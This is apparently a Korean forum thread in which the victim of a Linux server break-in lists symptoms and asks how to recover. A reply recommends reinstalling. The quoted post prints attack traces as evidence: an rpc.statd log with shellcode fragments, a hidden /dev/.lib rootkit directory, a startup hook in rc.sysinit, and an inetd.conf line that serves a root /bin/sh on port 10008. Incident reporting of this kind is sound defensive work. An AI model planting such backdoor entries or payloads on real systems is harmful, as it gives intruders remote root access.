www.certcc.or.kr에서 기술문서 및 기타 문서를보세요.
시스템은 다시 설치하셔야겠군요.
  그럼 수고하시길...
  : 고수님 도와주세요.. 실마리라도 부탁드립니다.
: 다음은 제 서버에 지금까지 찾아낸 현상들입니다.
: 좋은 복구시킬 방법 갈켜주세요..
:
: [현상1]
: [root@oh /root]# ls
: ls: unrecognized option `--show-control-chars'
: Try `ls --help' for more information.
: [root@oh /root]#
:
: [현상2]
: 모든 링크된 화일들은 깨졌는지 화면상 깜빡거림.
:
: [현상3]
: /var/log/messages 화일내용중 아래와같은것이 있다.
:
: Apr 26 10:11:43 oh 173>Apr 26 10:11:43 rpc.statd[495]: gethostbyname
: error for ^
: X??X??Y??Y??Z??Z??[??[?풺ffff75c 8049850    1000687465676274736f6
: d616e797265206520726f7220726f66
:
:
:                    bffff718
:                                                                       
:      bfff
: f719  bffff71a
:
:                                     
: bffff71b~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P
: ~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
: P~P~P~P~P
: ~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
: P~P~P~P~P
: ~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
: P~P~P~P~P
: ~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
: P~P~P~P~P
: ~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
: P~P~P~P~P
: ~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
: P~P~P~P~P
: ~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P
: Apr 26 10:11:43 oh
: ~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
: P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P
: ~P~P~P~P~
: P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P
: ~P~P~P~P~
: P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P
: ~P~P~P~P~
: P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P
: ~P~P~P~P~
: P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P
: ~P~P~P~P~
: P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P
: ~P~P~P~P~
: P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P
: ~P~P~P~P~
: P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P
: ~P~P~P~P~
: P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P
: ~P~P~P~P~
: P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P
: ~P~P~P~P~
: P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P
: ~P~P~P~P~
: P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P1잼|Y~IA^P~IA^H?
: ~IA^D~I층?I
: ~A컀?@?B~IY^L힍^N~Y힍^H^P~II^D~@A^D^L~H^A컀?@?D컀?@?E0?HA^D컀?@~I?H??
: ??@???@???@?F/bin?^D/shA0?HF^G~Iv^L~MV^P~MN^L~I箚^Kl??B
:
: [현상4]
: wtmp에 외부에서 ftp로 시스템에 접근한 흔적이 남아있으며
: 치명적으로 hacking이 이루어졌던 날의 접근흔적은 지워진것 같다.(last명령
: 확인)
:
: [현상5]
: /etc/rc.d/rc.sysinit화일내 마지막 라인에
: "/dev/.lib/star.sh"추가 되어있다.
:
: /dev/.lib 디렉토리에는
: [ohsj@oh .lib]$ ls
: asp62*        bindx.sh*     index.html    scan.sh*
: bind*         hack.sh*      pscan*        star.sh*
: bindname.log  index.htm     randb
: [ohsj@oh .lib]$
: 이러한 화일들이 있으며 hacking과 관련된 화일로 보여진다.
:
: [현상6]
: /etc/rc.d/rc5.d디렉토리의 모든 화일들이 갱신되었으며
: -rwxr-xr-x   1 root     root          392 Apr 26 22:49 S80rpcmap*
: 위와 같은 화일도 있음.
: 모든 링크된 화일은 깨져있는지 화면상 깜박거림.
:
: [현상7]
: /etc/inetd.conf 화일내용이 변경된것 같음
:
: #
: # Authentication
: #
: auth   stream  tcp     nowait    nobody    /usr/sbin/in.identd
: in.identd -l -e -
: o
: #
: # End of inetd.conf
:
: linuxconf stream tcp wait root /bin/linuxconf linuxconf --http
: #swat      stream  tcp     nowait.400      root /usr/sbin/swat swat
:
: linuxconf stream tcp wait root /bin/linuxconf linuxconf --http
:
: linuxconf stream tcp wait root /bin/linuxconf linuxconf --http
: #swat      stream  tcp     nowait.400      root /usr/sbin/swat swat
: #swat      stream  tcp     nowait.400      root /usr/sbin/swat swat
: 10008 stream tcp nowait root /bin/sh sh
: asp stream tcp nowait root /sbin/asp
:
: 위와 같은 현상들이 있읍니다.
: 각 현상들을 처리할 수 있는 좋은 방법들은 무엇입니까?
: 애가 타서 글을 올려봅니다.....
: 그리고 어떤식의 해킹인지 궁금합니다......
:
: --
: 이 곳에 서명을 적어주십시오.해킹은 다른사람의 눈에 눈물나게 한다..